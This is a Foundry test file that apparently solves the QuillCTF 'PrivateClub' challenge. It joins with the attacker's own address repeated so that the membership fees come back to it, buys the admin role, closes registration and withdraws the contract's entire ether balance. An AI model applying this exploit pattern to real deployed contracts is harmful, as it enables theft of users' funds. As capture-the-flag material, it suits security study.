PrivateClubExploit.t.sol

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;

import '../../src/QuillCTF/PrivateClub.sol';
import '@forge-std/Test.sol';
import '@forge-std/console.sol';

contract PrivateClubExploit is Test {
  PrivateClub target;
  address deployer = makeAddr('deployer');
  address deployerFriend = makeAddr('deployerFriend');
  address exploiter = makeAddr('exploiter');
  address alice = makeAddr('alice');
  address bob = makeAddr('bob');
  address carl = makeAddr('carl');

  function setUp() public {
    // Fund accounts.
    vm.deal(deployer, 100 ether);
    vm.deal(exploiter, 20 ether);
    vm.deal(alice, 10 ether);
    vm.deal(bob, 10 ether);
    vm.deal(carl, 10 ether);

    // Deploy the target contract.
    // Set the register end date and add a friend to the members list.
    // Also send 100 ether to the contract.
    console.log('Target contract deployed');
    vm.startPrank(deployer);
    target = new PrivateClub(deployer);
    target.setRegisterEndDate(block.timestamp + 5 days);
    target.addMemberByAdmin(deployerFriend);
    (bool success, ) = address(target).call{value: 100 ether}('');
    require(success, 'Low-level call failed');
    vm.stopPrank();

    console.log('Alice becomes a member');
    vm.startPrank(alice);
    address[] memory membersV1 = new address[](1);
    membersV1[0] = address(deployerFriend);
    target.becomeMember{value: 1 ether}(membersV1);
    vm.stopPrank();

    console.log('Bob also becomes a member');
    vm.startPrank(bob);
    address[] memory membersV2 = new address[](2);
    membersV2[0] = address(deployerFriend);
    membersV2[1] = address(alice);
    target.becomeMember{value: 2 ether}(membersV2);
    vm.stopPrank();
    getStats();
  }

  function testExploit() public {
    vm.startPrank(exploiter);
    console.log('Exploiter becomes a member');
    address[] memory members = new address[](3);
    members[0] = address(exploiter);
    members[1] = address(exploiter);
    members[2] = address(exploiter);
    target.becomeMember{value: 3 ether}(members);

    console.log('Exploiter pays to become the new owner');
    target.buyAdminRole{value: 10 ether}(exploiter);
    assertTrue(target.members(exploiter));
    getStats();

    console.log('Exploiter closes the registration period');
    target.setRegisterEndDate(block.timestamp - 1);
    vm.stopPrank();

    console.log('Carl tries to become a member without any success');
    vm.startPrank(carl);
    address[] memory newMembers = new address[](4);
    vm.expectRevert('registration closed');
    target.becomeMember{value: 4 ether}(newMembers);
    vm.stopPrank();

    console.log('Exploiter withdraws all the funds');
    vm.startPrank(exploiter);
    target.adminWithdraw(exploiter, address(target).balance);
    vm.stopPrank();
    getStats();
  }

  function getStats() public view {
    console.log('\n  --- [BALANCES] ----');
    console.log(unicode'🤖 target    %dΞ', address(target).balance / 1 ether);
    console.log(unicode'🥷 exploiter %dΞ', exploiter.balance / 1 ether);
    console.log('-------------------\n');
  }
}